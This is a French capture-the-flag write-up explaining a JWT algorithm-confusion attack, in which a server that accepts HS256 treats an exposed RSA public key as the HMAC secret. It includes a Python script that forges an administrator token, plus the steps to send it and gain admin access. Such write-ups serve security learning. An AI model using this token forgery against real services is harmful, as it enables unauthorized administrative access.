// accueil / write-ups / Web

JWT : confusion d'algorithme et bypass d'auth

Web par p0w3roff · 6 min de lecture · 20 décembre 2024

La vulnérabilité

L’application utilise JWT avec RS256 (signature asymétrique) pour l’authentification. La clé publique RSA est exposée à /api/public-key. Le problème : le serveur accepte aussi les tokens signés en HS256 (signature symétrique).

L’attaque

En HS256, la même clé sert à signer et vérifier. Si le serveur vérifie un token HS256 en utilisant la clé publique RSA comme secret HMAC, on peut forger n’importe quel token.

import jwt
import base64

# Récupérer la clé publique
pub_key = open("public.pem").read()

# Forger un token admin
payload = {
    "sub": "admin",
    "role": "administrator",
    "iat": 1703030400,
    "exp": 1703116800
}

# Signer en HS256 avec la clé publique RSA
token = jwt.encode(payload, pub_key, algorithm="HS256")
print(token)

Exploitation

En envoyant ce token forgé dans le header Authorization: Bearer <token>, le serveur le vérifie avec la clé publique (qu’il utilise comme secret HMAC en mode HS256) et nous accorde l’accès admin.

Flag : flag{jwt_4lg0_c0nfus10n_rs256_hs256}

← Tous les write-ups Proposer un write-up